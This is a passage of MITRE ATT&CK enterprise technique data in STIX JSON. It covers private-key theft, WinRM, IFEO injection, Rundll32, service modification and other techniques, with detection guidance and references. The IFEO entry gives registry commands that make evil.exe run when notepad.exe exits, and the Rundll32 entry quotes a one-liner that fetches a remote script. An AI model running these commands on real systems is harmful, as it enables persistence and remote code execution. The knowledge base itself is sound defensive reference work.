and directories related to cryptographic keys and certificates as a means for potentially detecting access patterns that may indicate collection and exfiltration activity. Collect authentication logs and look for potentially abnormal activity that may indicate improper use of keys or certificates for remote authentication. For network infrastructure devices, collect AAA logging to monitor for private keys being exported.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows","Network"],"x_mitre_version":"1.2","x_mitre_data_sources":["Command: Command Execution","File: File Access"],"type":"attack-pattern","id":"attack-pattern--60b508a1-6a5e-46b1-821a-9f7b78752abf","created":"2020-02-04T13:06:49.258Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1552/004","external_id":"T1552.004"},{"source_name":"Palo Alto Prince of Persia","description":"Bar, T., Conant, S., Efraim, L. (2016, June 28). Prince of Persia – Game Over. Retrieved July 5, 2017.","url":"https://researchcenter.paloaltonetworks.com/2016/06/unit42-prince-of-persia-game-over/"},{"source_name":"cisco_deploy_rsa_keys","description":"Cisco. (2023, February 17). Chapter: Deploying RSA Keys Within a PKI . Retrieved March 27, 2023.","url":"https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/sec_conn_pki/configuration/xe-17/sec-pki-xe-17-book/sec-deploy-rsa-pki.html#GUID-1CB802D8-9DE3-447F-BECE-CF22F5E11436"},{"source_name":"AADInternals Azure AD Device Identities","description":"Dr. Nestori Syynimaa. (2022, February 15). Stealing and faking Azure AD device identities. Retrieved February 21, 2023.","url":"https://aadinternals.com/post/deviceidentity/"},{"source_name":"Kaspersky Careto","description":"Kaspersky Labs. (2014, February 11). Unveiling “Careto” - The Masked APT. Retrieved July 5, 2017.","url":"https://web.archive.org/web/20141031134104/http://kasperskycontenthub.com/wp-content/uploads/sites/43/vlpdfs/unveilingthemask_v1.0.pdf"},{"source_name":"Microsoft Primary Refresh Token","description":"Microsoft. (2022, September 9). What is a Primary Refresh Token?. Retrieved February 21, 2023.","url":"https://learn.microsoft.com/en-us/azure/active-directory/devices/concept-primary-refresh-token"},{"source_name":"Wikipedia Public Key Crypto","description":"Wikipedia. (2017, June 29). Public-key cryptography. Retrieved July 5, 2017.","url":"https://en.wikipedia.org/wiki/Public-key_cryptography"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-02-28T21:22:52.176Z","name":"Server","description":"Adversaries may buy, lease, rent, or obtain physical servers that can be used during targeting. Use of servers allows an adversary to stage, launch, and execute an operation. During post-compromise activity, adversaries may utilize servers for various tasks, such as watering hole operations in [Drive-by Compromise](https://attack.mitre.org/techniques/T1189), enabling [Phishing](https://attack.mitre.org/techniques/T1566) operations, or facilitating [Command and Control](https://attack.mitre.org/tactics/TA0011). Instead of compromising a third-party [Server](https://attack.mitre.org/techniques/T1584/004) or renting a [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003), adversaries may opt to configure and run their own servers in support of operations. Free trial periods of cloud servers may also be abused.(Citation: Free Trial PurpleUrchin)(Citation: Freejacked) \n\nAdversaries may only need a lightweight setup if most of their activities will take place using online infrastructure. Or, they may need to build extensive infrastructure if they want to test, communicate, and control other aspects of their activities on their own systems.(Citation: NYTStuxnet)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_contributors":["Dor Edry, Microsoft"],"x_mitre_deprecated":false,"x_mitre_detection":"Once adversaries have provisioned a server (ex: for use as a command and control server), internet scans may reveal servers that adversaries have acquired. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["PRE"],"x_mitre_version":"1.3","x_mitre_data_sources":["Internet Scan: Response Metadata","Internet Scan: Response Content"],"type":"attack-pattern","id":"attack-pattern--60c4b628-4807-4b0b-bbf5-fdac8643c337","created":"2020-10-01T00:48:09.578Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1583/004","external_id":"T1583.004"},{"source_name":"Freejacked","description":"Clark, Michael. (2023, August 14). Google’s Vertex AI Platform Gets Freejacked. Retrieved February 28, 2024.","url":"https://sysdig.com/blog/googles-vertex-ai-platform-freejacked/"},{"source_name":"Free Trial PurpleUrchin","description":"Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024.","url":"https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/"},{"source_name":"Koczwara Beacon Hunting Sep 2021","description":"Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021.","url":"https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2"},{"source_name":"Mandiant SCANdalous Jul 2020","description":"Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021.","url":"https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation"},{"source_name":"ThreatConnect Infrastructure Dec 2020","description":"ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.","url":"https://threatconnect.com/blog/infrastructure-research-hunting/"},{"source_name":"NYTStuxnet","description":"William J. Broad, John Markoff, and David E. Sanger. (2011, January 15). Israeli Test on Worm Called Crucial in Iran Nuclear Delay. Retrieved March 1, 2017.","url":"https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-09-12T15:28:23.398Z","name":"Windows Remote Management","description":"Adversaries may use [Valid Accounts](https://attack.mitre.org/techniques/T1078) to interact with remote systems using Windows Remote Management (WinRM). The adversary may then perform actions as the logged-on user.\n\nWinRM is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services).(Citation: Microsoft WinRM) It may be called with the `winrm` command or by any number of programs such as PowerShell.(Citation: Jacobsen 2014) WinRM can be used as a method of remotely interacting with [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047).(Citation: MSDN WMI)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events.(Citation: Medium Detecting Lateral Movement) Also monitor for remote WMI connection attempts (typically over port 5985 when using HTTP and 5986 for HTTPS).","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.2","x_mitre_data_sources":["Process: Process Creation","Logon Session: Logon Session Creation","Network Traffic: Network Connection Creation","Command: Command Execution","Network Traffic: Network Traffic Flow","Service: Service Metadata"],"type":"attack-pattern","id":"attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65","created":"2020-02-11T18:29:47.757Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1021/006","external_id":"T1021.006"},{"source_name":"Medium Detecting Lateral Movement","description":"French, D. (2018, September 30). Detecting Lateral Movement Using Sysmon and Splunk. Retrieved October 11, 2019.","url":"https://medium.com/threatpunter/detecting-lateral-movement-using-sysmon-and-splunk-318d3be141bc"},{"source_name":"Jacobsen 2014","description":"Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. Retrieved November 12, 2014.","url":"https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2"},{"source_name":"MSDN WMI","description":"Microsoft. (n.d.). Windows Management Instrumentation. Retrieved April 27, 2016.","url":"https://msdn.microsoft.com/en-us/library/aa394582.aspx"},{"source_name":"Microsoft WinRM","description":"Microsoft. (n.d.). Windows Remote Management. Retrieved September 12, 2024.","url":"https://learn.microsoft.com/en-us/windows/win32/winrm/portal"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--613d08bc-e8f4-4791-80b0-c8b974340dfd","type":"attack-pattern","created":"2020-03-09T17:07:57.392Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1011.001","url":"https://attack.mitre.org/techniques/T1011/001"}],"modified":"2022-03-08T21:02:15.802Z","name":"Exfiltration Over Bluetooth","description":"Adversaries may attempt to exfiltrate data over Bluetooth rather than the command and control channel. If the command and control network is a wired Internet connection, an adversary may opt to exfiltrate data using a Bluetooth communication channel.\n\nAdversaries may choose to do this if they have sufficient access and proximity. Bluetooth connections might not be secured or defended as well as the primary Internet-connected channel because it is not routed through the same enterprise network.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"exfiltration"}],"x_mitre_detection":"Monitor for processes utilizing the network that do not normally have network communication or have never been seen before. Processes that normally require user-driven events to access the network (for example, a web browser opening with a mouse click or key press) but access the network without such may be malicious.\n\nMonitor for and investigate changes to host adapter settings, such as addition and/or replication of communication interfaces.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Command: Command Execution","File: File Access","Network Traffic: Network Traffic Content","Network Traffic: Network Connection Creation"]},{"modified":"2024-10-14T22:11:30.271Z","name":"Default Accounts","description":"Adversaries may obtain and abuse credentials of a default account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Default accounts are those that are built-into an OS, such as the Guest or Administrator accounts on Windows systems. Default accounts also include default factory/provider set accounts on other types of systems, software, or devices, including the root user account in AWS and the default service account in Kubernetes.(Citation: Microsoft Local Accounts Feb 2019)(Citation: AWS Root User)(Citation: Threat Matrix for Kubernetes)\n\nDefault accounts are not limited to client machines, rather also include accounts that are preset for equipment such as network devices and computer applications whether they are internal, open source, or commercial. Appliances that come preset with a username and password combination pose a serious threat to organizations that do not change it post installation, as they are easy targets for an adversary. Similarly, adversaries may also utilize publicly disclosed or stolen [Private Keys](https://attack.mitre.org/techniques/T1552/004) or credential materials to legitimately connect to remote environments via [Remote Services](https://attack.mitre.org/techniques/T1021).(Citation: Metasploit SSH Module)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_attack_spec_version":"3.2.0","x_mitre_deprecated":false,"x_mitre_detection":"Monitor whether default accounts have been activated or logged into. These audits should also include checks on any appliances and applications for default credentials or SSH keys, and if any are discovered, they should be updated immediately.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_platforms":["Windows","SaaS","IaaS","Linux","macOS","Containers","Network","Office Suite","Identity Provider"],"x_mitre_version":"1.4","x_mitre_data_sources":["Logon Session: Logon Session Creation","User Account: User Account Authentication"],"x_mitre_permissions_required":["Administrator","User"],"type":"attack-pattern","id":"attack-pattern--6151cbea-819b-455a-9fa6-99a1cc58797d","created":"2020-03-13T20:15:31.974Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1078/001","external_id":"T1078.001"},{"source_name":"AWS Root User","description":"Amazon. (n.d.). AWS Account Root User. Retrieved April 5, 2021.","url":"https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html"},{"source_name":"Microsoft Local Accounts Feb 2019","description":"Microsoft. (2018, December 9). Local Accounts. Retrieved February 11, 2019.","url":"https://docs.microsoft.com/en-us/windows/security/identity-protection/access-control/local-accounts"},{"source_name":"Metasploit SSH Module","description":"undefined. (n.d.). Retrieved April 12, 2019.","url":"https://github.com/rapid7/metasploit-framework/tree/master/modules/exploits/linux/ssh"},{"source_name":"Threat Matrix for Kubernetes","description":"Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021.","url":"https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"]},{"modified":"2024-04-12T02:34:58.003Z","name":"Time Providers","description":"Adversaries may abuse time providers to execute DLLs when the system boots. The Windows Time service (W32Time) enables time synchronization across and within domains.(Citation: Microsoft W32Time Feb 2018) W32Time time providers are responsible for retrieving time stamps from hardware/network resources and outputting these values to other network clients.(Citation: Microsoft TimeProvider)\n\nTime providers are implemented as dynamic-link libraries (DLLs) that are registered in the subkeys of `HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Services\\W32Time\\TimeProviders\\`.(Citation: Microsoft TimeProvider) The time provider manager, directed by the service control manager, loads and starts time providers listed and enabled under this key at system startup and/or whenever parameters are changed.(Citation: Microsoft TimeProvider)\n\nAdversaries may abuse this architecture to establish persistence, specifically by creating a new arbitrarily named subkey pointing to a malicious DLL in the `DllName` value. Administrator privileges are required for time provider registration, though execution will run in context of the Local Service account.(Citation: Github W32Time Oct 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Scott Lundgren, @5twenty9, Carbon Black","Harun Küßner"],"x_mitre_deprecated":false,"x_mitre_detection":"Baseline values and monitor/analyze activity related to modifying W32Time information in the Registry, including application programming interface (API) calls such as RegCreateKeyEx and RegSetValueEx as well as execution of the W32tm.exe utility.(Citation: Microsoft W32Time May 2017) There is no restriction on the number of custom time providers registrations, though each may require a DLL payload written to disk.(Citation: Github W32Time Oct 2017)\n\nThe Sysinternals Autoruns tool may also be used to analyze auto-starting locations, including DLLs listed as time providers.(Citation: TechNet Autoruns)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.1","x_mitre_data_sources":["Process: Process Creation","Command: Command Execution","Windows Registry: Windows Registry Key Modification","Module: Module Load"],"x_mitre_permissions_required":["SYSTEM","Administrator"],"type":"attack-pattern","id":"attack-pattern--61afc315-860c-4364-825d-0d62b2e91edc","created":"2020-01-24T15:51:52.317Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1547/003","external_id":"T1547.003"},{"source_name":"Github W32Time Oct 2017","description":"Lundgren, S. (2017, October 28). w32time. Retrieved March 26, 2018.","url":"https://github.com/scottlundgren/w32time"},{"source_name":"Microsoft W32Time May 2017","description":"Mathers, B. (2017, May 31). Windows Time Service Tools and Settings. Retrieved March 26, 2018.","url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-tools-and-settings"},{"source_name":"Microsoft W32Time Feb 2018","description":"Microsoft. (2018, February 1). Windows Time Service (W32Time). Retrieved March 26, 2018.","url":"https://docs.microsoft.com/windows-server/networking/windows-time-service/windows-time-service-top"},{"source_name":"Microsoft TimeProvider","description":"Microsoft. (n.d.). Time Provider. Retrieved March 26, 2018.","url":"https://msdn.microsoft.com/library/windows/desktop/ms725475.aspx"},{"source_name":"TechNet Autoruns","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","url":"https://technet.microsoft.com/en-us/sysinternals/bb963902"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Oddvar Moe, @oddvarmoe"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--62166220-e498-410f-a90a-19d4339d4e99","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1183","url":"https://attack.mitre.org/techniques/T1183"},{"url":"https://blogs.msdn.microsoft.com/mithuns/2010/03/24/image-file-execution-options-ifeo/","description":"Shanbhag, M. (2010, March 24). Image File Execution Options (IFEO). Retrieved December 18, 2017.","source_name":"Microsoft Dev Blog IFEO Mar 2010"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/debugger/gflags-overview","description":"Microsoft. (2017, May 23). GFlags Overview. Retrieved December 18, 2017.","source_name":"Microsoft GFlags Mar 2017"},{"url":"https://docs.microsoft.com/windows-hardware/drivers/debugger/registry-entries-for-silent-process-exit","description":"Marshall, D. & Griffin, S. (2017, November 28). Monitoring Silent Process Exit. Retrieved June 27, 2018.","source_name":"Microsoft Silent Process Exit NOV 2017"},{"url":"https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/","description":"Moe, O. (2018, April 10). Persistence using GlobalFlags in Image File Execution Options - Hidden from Autoruns.exe. Retrieved June 27, 2018.","source_name":"Oddvar Moe IFEO APR 2018"},{"url":"https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process","description":"Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.","source_name":"Elastic Process Injection July 2017"},{"url":"https://www.f-secure.com/v-descs/backdoor_w32_hupigon_emv.shtml","description":"FSecure. (n.d.). Backdoor - W32/Hupigon.EMV - Threat Description. Retrieved December 18, 2017.","source_name":"FSecure Hupigon"},{"url":"https://www.symantec.com/security_response/writeup.jsp?docid=2008-062807-2501-99&tabid=2","description":"Symantec. (2008, June 28). Trojan.Ushedix. Retrieved December 18, 2017.","source_name":"Symantec Ushedix June 2008"}],"modified":"2020-11-10T18:29:30.417Z","name":"Image File Execution Options Injection","description":"Image File Execution Options (IFEO) enable a developer to attach a debugger to an application. When a process is created, a debugger present in an application’s IFEO will be prepended to the application’s name, effectively launching the new process under the debugger (e.g., “C:\\dbg\\ntsd.exe -g notepad.exe”). (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can be set directly via the Registry or in Global Flags via the GFlags tool. (Citation: Microsoft GFlags Mar 2017) IFEOs are represented as Debugger values in the Registry under HKLM\\SOFTWARE{\\Wow6432Node}\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\ where is the binary on which the debugger is attached. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nIFEOs can also enable an arbitrary monitor program to be launched when a specified program silently exits (i.e. is prematurely terminated by itself or a second, non kernel-mode process). (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018) Similar to debuggers, silent exit monitoring can be enabled through GFlags and/or by directly modifying IEFO and silent process exit Registry values in HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Autoruns Analysis"],"x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ricardo Dias","Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--62b8c999-dcc0-4755-bd69-09442d9359f5","type":"attack-pattern","created":"2017-05-31T21:31:06.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1085","url":"https://attack.mitre.org/techniques/T1085"},{"source_name":"Trend Micro CPL","description":"Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.","url":"https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"},{"source_name":"This is Security Command Line Confusion","description":"B. Ancel. (2014, August 20). Poweliks – Command Line Confusion. Retrieved March 5, 2018.","url":"https://thisissecurity.stormshield.com/2014/08/20/poweliks-command-line-confusion/"}],"modified":"2020-01-31T19:01:41.919Z","name":"Rundll32","description":"The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL and Control_RunDLLAsUser. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nRundll32 can also been used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:\"\\..\\mshtml,RunHTMLApplication \";document.write();GetObject(\"script:https[:]//www[.]example[.]com/malicious.sct\")\" This behavior has been seen used by malware such as Poweliks. (Citation: This is Security Command Line Confusion)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_defense_bypassed":["Anti-virus","Application whitelisting","Digital Certificate Validation"],"x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Travis Smith, Tripwire","Matthew Demaske, Adaptforward"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--62dfd1ca-52d5-483c-a84b-d6e80bf94b7b","type":"attack-pattern","created":"2017-05-31T21:30:34.928Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1031","url":"https://attack.mitre.org/techniques/T1031"},{"external_id":"CAPEC-551","source_name":"capec","url":"https://capec.mitre.org/data/definitions/551.html"},{"url":"https://twitter.com/r0wdy_/status/936365549553991680","description":"The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.","source_name":"Twitter Service Recovery Nov 2017"},{"url":"https://docs.microsoft.com/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)","description":"Microsoft. (2013, February 22). Set up Recovery Actions to Take Place When a Service Fails. Retrieved April 9, 2018.","source_name":"Microsoft Service Recovery Feb 2013"},{"url":"https://technet.microsoft.com/en-us/sysinternals/bb963902","description":"Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.","source_name":"TechNet Autoruns"}],"modified":"2020-03-16T16:05:53.825Z","name":"Modify Existing Service","description":"Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Registry. Service configurations can be modified using utilities such as sc.exe and [Reg](https://attack.mitre.org/software/S0075).\n\nAdversaries can modify an existing service to persist malware on a system by using system utilities or by using custom tools to interact with the Windows API. Use of existing services is a type of [Masquerading](https://attack.mitre.org/techniques/T1036) that may make detection analysis more challenging. Modifying existing services may interrupt their functionality or may enable services that are disabled or otherwise not commonly used.\n\nAdversaries may also intentionally corrupt or kill services to execute malicious recovery programs/commands. (Citation: Twitter Service Recovery Nov 2017) (Citation: Microsoft Service Recovery Feb 2013)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Look for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence. (Citation: TechNet Autoruns) \n\nService information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services.\n\nCommand-line invocation of tools capable of modifying services may be unusual, depending on how systems are typically used in a particular environment. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute [cmd](https://attack.mitre.org/software/S0106) commands or scripts.\n\nLook for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["Administrator","SYSTEM"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--63220765-d418-44de-8fae-694b3912317d","type":"attack-pattern","created":"2020-01-24T14:17:43.906Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1546.005","url":"https://attack.mitre.org/techniques/T1546/005"},{"source_name":"Trap Manual","url":"https://ss64.com/bash/trap.html","description":"ss64. (n.d.). trap. Retrieved May 21, 2019."},{"source_name":"Cyberciti Trap Statements","url":"https://bash.cyberciti.biz/guide/Trap_statement","description":"Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019."}],"modified":"2020-03-24T16:43:02.273Z","name":"Trap","description":"Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap 